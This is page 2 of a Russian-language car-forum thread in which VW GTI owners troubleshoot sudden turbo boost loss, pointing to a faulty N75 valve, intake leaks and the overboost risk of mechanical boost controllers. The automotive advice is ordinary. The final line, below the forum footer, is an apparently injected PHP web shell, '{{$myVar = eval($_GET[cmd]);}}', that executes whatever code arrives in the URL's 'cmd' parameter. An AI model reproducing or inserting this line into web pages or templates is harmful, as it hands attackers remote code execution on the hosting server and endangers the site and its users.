+ Ответить в теме
Страница 2 из 2 ПерваяПервая 1 2
Показано с 11 по 14 из 14

Тема: Свидетельство О Смерти Турбины?


  1. #11
    GTI-Racing Brain is on a distinguished road Аватар для Brain
    Регистрация
    22.07.2008
    Машина
    V GTI
    Сообщений
    614
    <div class='quotetop'>Цитата(Танкист &#064; Sep 16 2008, 16&#58;32) <{POST_SNAPBACK}></div><div class='quotemain'>Обычно при езде датчик давления в пике показывает 0.8, а иногда машинка перестает ехать(ТУПИТ) и давление показывает в пике 0.1&#33;&#33;&#33;

    Пачиму так? В самый не подходящий момент перестает ехать&#33;

    Это звезда турбе или, что еще может быть??? ТО едет, ТО тупит...[/b][/quote]
    у меня была похожая проблема.... заехал на станцию 3 мин подключили к компу (выдал ошибку наддува ) 3 мин снять клапан и 3 мин новый прикрутить.... многие знакомые сталкивались с такой проблемой...в 95% случаев это был клапан

  2. #12
    №75 или дырки на впуске.
    Разочарование от плохого качества длится дольше, чем радость от низких цен.
    www.turbomotors.ru

  3. #13
    <div class='quotetop'>Цитата(Turbomotors &#064; Mar 16 2009, 16&#58;57) <{POST_SNAPBACK}></div><div class='quotemain'>№75 или дырки на впуске.[/b][/quote]

    когда у меня была типа такая хрень, обнаружилась дыра в байпасном клапане и н75 похоже тоже мертв, вестгейт подлечили задушиванием механическим буст контроллером... [img]style_emoticons/<#EMO_DIR#>/super_man.gif[/img]

    ща все гуд дуем 1 давление не пропадает ...

  4. #14
    GTI-Racing Frosty is on a distinguished road Аватар для Frosty
    Регистрация
    13.01.2009
    Откуда
    Щелкаго:)
    Машина
    ZZZZubaro
    Сообщений
    224
    <div class='quotetop'>Цитата(васяGT &#064; Mar 16 2009, 19&#58;47) <{POST_SNAPBACK}></div><div class='quotemain'>когда у меня была типа такая хрень, обнаружилась дыра в байпасном клапане и н75 похоже тоже мертв, вестгейт подлечили задушиванием механическим буст контроллером... [img]style_emoticons/<#EMO_DIR#>/super_man.gif[/img]

    ща все гуд дуем 1 давление не пропадает ...[/b][/quote]

    Крутой совет.... на ваговском моторе с опорным датчиком ДМРВ считающим воздух до входа в турбу поднимать давление (при неисправности электромеханического управления) бустконтроллером.....отлично....хороший путь к передуву....т.к мозги продолжают управлять вестгейтом через н75....

    То что написано легко реализовать если убрать ДМРВ и поставить маф эмулятор который будет работать опираясь на показания датчика абсолютного давления в магистрали наддува...НО для того чтобы он заработал его надо обучить т.е в разных режимах покататся с подключенным к маф эмулю ДМРВ потом подкорректировать на нотике значения и в путь дмрв снимаем и все пашет...тогда можно ставить буст контроллер.....до определенного давления мозги будут справлятся [img]style_emoticons/<#EMO_DIR#>/still_dreaming.gif[/img]

+ Ответить в теме
Страница 2 из 2 ПерваяПервая 1 2

Похожие темы

  1. Передув турбины
    от Mult в разделе Двигатель
    Ответов: 22
    Последнее сообщение: 25.11.2013, 16:52
  2. турбины на VAG
    от макс 902 в разделе Покупка и продажа запчастей
    Ответов: 29
    Последнее сообщение: 29.10.2013, 00:24
  3. Свист турбины
    от bonosurgut в разделе Ремонт и обслуживание
    Ответов: 25
    Последнее сообщение: 05.06.2010, 19:06
  4. Турбины
    от Lee в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 3
    Последнее сообщение: 23.09.2007, 00:32
  5. Mazda спасла от смерти
    от Сайт в разделе Курилка
    Ответов: 0
    Последнее сообщение: 20.08.2007, 05:27

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}